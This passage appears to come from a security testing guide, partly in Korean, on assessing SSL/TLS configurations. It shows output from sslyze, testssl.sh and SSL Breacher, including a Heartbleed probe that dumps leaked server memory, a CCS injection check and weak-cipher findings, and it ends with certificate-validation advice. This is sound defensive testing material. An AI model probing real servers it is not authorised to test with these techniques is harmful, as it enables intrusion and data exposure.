      Secure Renegotiation:  Supported


 *
 Certificate :      Validation w/ Mozilla's CA Store:  Certificate is NOT Trust


ed: unable to get local issuer certificate      Hostname Validation:  MISMATCH                                 SHA1 Fingerprint:  ******
      Common Name:  www.example.com
Issuer: ******
 Serial Number: ****
      Not Before:  Sep 26 00:00:00 2010 GMT
      Not After:  Sep 26 23:59:59 2020 GMT
      Signature Algorithm:  sha1WithRSAEncryption
      Key Size:  1024 bit
      X509v3 Subject Alternative Name:  {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}
 *
 OCSP Stapling :
Server did not send back an OCSP response.


*
 Session Resumption : With Session IDs: Supported (5 successful, 0 failed,


0 errors, 5 total attempts).      With TLS Session Tickets:  Supported
 * SSLV2 Cipher Suites :
      Rejected Cipher Suite(s): Hidden       Preferred Cipher Suite: None           Accepted Cipher Suite(s): None         Undefined - An unexpected error happened: None


* SSLV3 Cipher Suites :
      Rejected Cipher Suite(s): Hidden
      Preferred Cipher Suite:                  RC4-SHA  128 bits HTTP 200 OK
      Accepted Cipher Suite(s):                CAMELLIA256-SHA  256 bits HTTP 200 OK         RC4-SHA  128 bits HTTP 200 OK         CAMELLIA128-SHA  128 bits HTTP 200 OK
      Undefined - An unexpected error happened: None
* TLSV1_1 Cipher Suites :      Rejected Cipher Suite(s): Hidden       Preferred Cipher Suite: None           Accepted Cipher Suite(s): None         Undefined - An unexpected error happened:
        ECDH-RSA-AES256-SHA  out         ECDH-ECDSA-AES256-SHA  out  socket.timeout - timed socket.timeout - timed
  * TLSV1_2 Cipher Suites :

      Rejected Cipher Suite(s): Hidden
      Preferred Cipher Suite: None
      Accepted Cipher Suite(s): None
      Undefined - An unexpected error happened:         ECDH-RSA-AES256-GCM-SHA384  socket.timeout - timed out         ECDH-ECDSA-AES256-GCM-SHA384  socket.timeout
-timed out
* TLSV1 Cipher Suites :      Rejected Cipher Suite(s): Hidden       Preferred Cipher Suite:
        RC4-SHA  128 bits Timeout on HTTP GET
      Accepted Cipher Suite(s):                CAMELLIA256-SHA  256 bits HTTP 200 OK         RC4-SHA  128 bits HTTP 200 OK         CAMELLIA128-SHA  128 bits HTTP 200 OK
      Undefined - An unexpected error happened:         ADH-CAMELLIA256-SHA  socket.timeout - timed out
 SCAN COMPLETED IN 9.68 S
 -----------------------

예제 7. testssl.sh 테스트

Testssl.sh는 리눅스 쉘 스크립트로, 웹 서버 확인 뿐만 아니라, 다른 포트 서비스 및 STARTTLS, SNI, SPDY 그리고 HTTP 헤더에 대한 몇가지 검사를 지원합니다.

아래 간단한 출력 예제입니다.

user@myhost: % testssl.sh owasp.org

#############################################
###########
testssl.sh v2.0rc3  (https://testssl.sh)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)

   This program is free software. Redistribution +
   modification under GPLv2 is permitted.
   USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

 Note you can only check the server against what is available (ciphers/protocols) locally on your machine ############################################# ###########
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on
      "myhost:/<mypath>/bin/openssl64"

Testing now (2014-04-17 15:06) ---> owasp.org:443 <--("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e")
--> Testing Protocols
 SSLv2  NOT offered (ok)
 SSLv3  offered



 TLSv1  offered (ok)
 TLSv1.1  offered (ok)
 TLSv1.2  offered (ok)

 SPDY/NPN  not offered

--> Testing standard cipher lists

 Null Cipher NOT offered (ok)
 Anonymous NULL Cipher  NOT offered (ok)
 Anonymous DH Cipher  NOT offered (ok)
 40 Bit encryption  NOT offered (ok)
 56 Bit encryption  NOT offered (ok)
Export Cipher (general) NOT offered (ok)
 Low (<=64 Bit)  NOT offered (ok)
 DES Cipher  NOT offered (ok)
 Triple DES Cipher  offered
 Medium grade encryption  offered
 High grade encryption  offered (ok)

--> Testing server defaults (Server Hello)

 Negotiated protocol  TLSv1.2
 Negotiated cipher  AES128-GCM-SHA256

 Server key size  2048 bit
 TLS server extensions:  server name, renegotiation info,
session ticket, heartbeat
 Session Tickets RFC 5077  300 seconds

--> Testing specific vulnerabilities

 Heartbleed (CVE-2014-0160), experimental  NOT vulnerable
(ok)
 Renegotiation (CVE 2009-3555)  NOT vulnerable (ok)
 CRIME, TLS (CVE-2012-4929)  NOT vulnerable (ok)

--> Checking RC4 Ciphers

RC4 seems generally available. Now testing specific ciphers...

 Hexcode  Cipher Name KeyExch.  Encryption Bits

[0x05] RC4-SHA  RSA  RC4 128
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a
--> Testing HTTP Header response
HSTS no  Server  Apache Application (None) --> Testing (Perfect) Forward Secrecy  (P)FS)
no PFS available
Done now (2014-04-17 15:07) ---> owasp.org:443 <--
user@myhost: %

STARTTLS는 testssl.sh -t smtp.gmail.com:587 smtp를 통해 테스트할 수 있고, 각 암호문은 testssl -e <target>로, 각 프로토콜별 암호문은 testssl -E <target>으로 테스트할 수 있습니다. openssl을 통해 설치된 암호문이 어떤 것이 있는지 보기 위해서는 testssl -V 명령 입력

For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh. The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g.

Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.


예제 8. SSL Breacher 테스트

이 툴은 여러 가지 다른 툴들 중 가장 포괄적인 SSL 테스트를 보완한 툴입니다. 다음과 같은 검사를 지원합니다.

  • HeartBleed
  • ChangeCipherSpec 인젝션
  • BREACH
  • BEAST
  • Forward Secrecy support
  • RC4 support
  • CRIME & TIME (If CRIME is detected, TIME will also be reported)
  • Lucky13
  • HSTS: Check for implementation of HSTS header
  • HSTS: Reasonable duration of MAX-AGE
  • HSTS: Check for SubDomains support
  • Certificate expiration
  • Insufficient public key-length
  • Host-name mismatch
  • Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
  • SSLv2 support
  • Weak ciphers check
  • Null Prefix in certificate
  • HTTPS Stripping
  • Surf Jacking
  • Non-SSL elements/contents embedded in SSL page
  • Cache-Control
pentester@r00ting: % breacher.sh https://localhost/login.php

Host Info:
==============
Host : localhost
Port : 443
Path : /login.php

Certificate Info:
==================
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
Signature Hash Algorithm: SHA1withRSA
Public key: Sun RSA public key, 1024 bits

 modulus: 13563296484355500991016409816100408625
9135236815846778903941582882908611097021488277
5657328517128950572278496563648868981962399018
7956963565986177085092024117822268667016231814
7175328086853962427921575656093414000691131757
0996633223696567560900301903699230503066687785
34926124693591013220754558036175189121517

  public exponent: 65537
Signed for: CN=localhost
Signed by: CN=localhost
Total certificate chain: 1

(Use -Djavax.net.debug=ssl:handshake:verbose for debugged
output.)

=====================================

Certificate Validation:
===============================
[!] Signed using Insufficient public key length 1024 bits

    (Refer to http://www.keylength.com/ for details) [!] Certificate Signer: Self-signed/Untrusted CA  - verified with
Firefox & Java ROOT CAs.
=====================================
Loading module: Hut3 Cardiac Arrest ...
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
[-] Connecting to 127.0.0.1:443 using SSLv3 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3 [-] Displaying response (lines consisting entirely of null bytes are removed):
 0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|.....
 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m............. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.".#.$.%.&.'.
 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.0 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3!


127.0.0.1:443 is vulnerable over TLSv1.0 [-] Displaying response (lines consisting entirely of null bytes are removed):
 0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|.....
 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m............. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.".#.$.%.&.'.
 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.1 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.1 [-] Displaying response (lines consisting entirely of null bytes are removed):
 0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|.....
 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m............. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.".#.$.%.&.'.
 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...


 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.2 [-] Sending ClientHello [-] ServerHello received [-] Sending Heartbeat [Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.2 [-] Displaying response (lines consisting entirely of null bytes are removed):
 0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ...... SHs.|.....
 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m............. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
.!.".#.$.%.&.'.
 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w. 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
[-] Closing connection

[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in
http://heartbleed.com/
[!] Vulnerability Status: VULNERABLE

=====================================

Loading module: CCS Injection script by TripWire VERT ...

Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS)
Injection bug (CVE-2014-0224) ...

[!] The target may allow early CCS on TLSv1.2
[!] The target may allow early CCS on TLSv1.1
[!] The target may allow early CCS on TLSv1
[!] The target may allow early CCS on SSLv3

[-] This is an experimental detection script and does not definitively determine vulnerable server status.

[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS)
Injection vulnerability (CVE-2014-0224) mentioned in http://
ccsinjection.lepidum.co.jp/
[!] Vulnerability Status: Possible

=====================================

Checking localhost:443 for HTTP Compression support against
BREACH vulnerability (CVE-2013-3587) ...

[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.
blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-secondsA-BREACH-beyond-CRIME-WP.pdf
[*] Vulnerability Status: No



--------------- RAW HTTP RESPONSE --------------
HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/ Content-Length: 193 Connection: close Content-Type: text/html
<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/
test.css">

=====================================

Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...

[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in https://www.owasp.
org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE

--------------- RAW HTTP RESPONSE --------------
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014

12:48:07 GMT; path=/ Content-Length: 193 Connection: close Content-Type: text/html
<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/

test.css">
=====================================
Checking localhost for HTTP support against HTTPS Stripping attack ...
[!] HTTP Support on port [80] : SUPPORTED [!] Vulnerable to HTTPS Stripping attack mentioned in https:// www.blackhat.com/presentations/bh-dc-09/Marlinspike/ BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf [!] Vulnerability Status: VULNERABLE
=====================================
Checking localhost:443 for HTTP elements embedded in SSL page ...
[!] HTTP elements embedded in SSL page: PRESENT [!] Vulnerable to MITM malicious content injection attack [!] Vulnerability Status: VULNERABLE
--------------- HTTP RESOURCES EMBEDDED --------------
-
 http://othersite/test.js

 -
 http://somesite/test.css


=====================================
Checking localhost:443 for ROBUST use of anti-caching mechanism ...
[!] Cache Control Directives: NOT PRESENT [!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked. [!] Vulnerability Status: VULNERABLE
Robust Solution:
-
 Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

-
 Ref: https://www.owasp.org/index.php/Testing_for_ Browser_cache_weakness_(OTG-AUTHN-006)


       http://msdn.microsoft.com/en-us/library/ ms533020(v=vs.85).aspx
=====================================
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...
[!] Secure Flag in Set-Cookie:  PRESENT BUT NOT IN ALL COOKIES [!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf [!] Vulnerability Status: VULNERABLE


--------------- RAW HTTP RESPONSE --------------
HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014
12:48:07 GMT; path=/ Content-Length: 193 Connection: close Content-Type: text/html
=====================================

Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...

[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_
AES_128_CBC_SHA on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets
even if they have compromised private keys.
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for RC4 support (CVE-2013-2566) ...

[!] RC4: SUPPORTED
[!] Vulnerable to MITM attack described in http://www.isg.rhul.
ac.uk/tls/
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for TLS 1.1 support ...

Checking localhost:443 for TLS 1.2 support ...

[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.
infoworld.com/t/security/red-alert-https-has-beenhacked-174025
[*] Vulnerability Status: No

=====================================

Loading module: sslyze by iSecPartners ...

Checking localhost:443 for Session Renegotiation support (CVE
2009-3555,CVE-2011-1473,CVE-2011-5094) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED [*] Mitigated from DOS attack (CVE-20111473,CVE-2011-5094) mentioned in https://www.thc.org/thcssl-dos/ [*] Vulnerability Status: No
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED [*] Immune from TLS Plain-text Injection attack (CVE2009-3555) - http://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-2009-3555 [*] Vulnerability Status: No
=====================================
Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for SSL version 2 support ...
[*] SSL version 2 : NOT SUPPORTED [*] Immune from SSLv2-based MITM attack [*] Vulnerability Status: No
=====================================
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...
Supported LANE cipher suites:
  SSLv3
     RSA_EXPORT_WITH_RC4_40_MD5
     RSA_EXPORT_WITH_RC2_CBC_40_MD5
     RSA_EXPORT_WITH_DES40_CBC_SHA
     RSA_WITH_DES_CBC_SHA
     DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
     DHE_RSA_WITH_DES_CBC_SHA
     TLS_ECDH_anon_WITH_RC4_128_SHA
     TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
     TLS_ECDH_anon_WITH_AES_256_CBC_SHA

  (TLSv1.0: same as above)
  (TLSv1.1: same as above)
  (TLSv1.2: same as above)

[!] LANE ciphers : SUPPORTED [!] Attackers may be ABLE to recover encrypted packets. [!] Vulnerability Status: VULNERABLE
=====================================
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...
Supported GCM cipher suites against Lucky13 attack:


  TLSv1.2
     TLS_RSA_WITH_AES_128_GCM_SHA256
     TLS_RSA_WITH_AES_256_GCM_SHA384
     TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
     TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
     TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
     TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

[*] GCM/CCM ciphers : SUPPORTED [*] Immune from Lucky13 attack mentioned in http://www.isg. rhul.ac.uk/tls/Lucky13.html [*] Vulnerability Status: No
=====================================
Checking localhost:443 for TLS Compression support against
CRIME (CVE-2012-4929) & TIME attack  ...
[*] TLS Compression : DISABLED [*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfectcrime-beery-wp.pdf [*] Vulnerability Status: No
=====================================
[+] Breacher finished scanning in 12 seconds. [+] Get your latest copy at http://yehg.net/

SSL 인증 유효성 테스트 - 클라이언트와 서버

Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate . including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the .sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.

예제 1. 인증서 유효성 테스트 (수동)

Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site.

[그림] Warning issued by Microsoft Internet Explorer

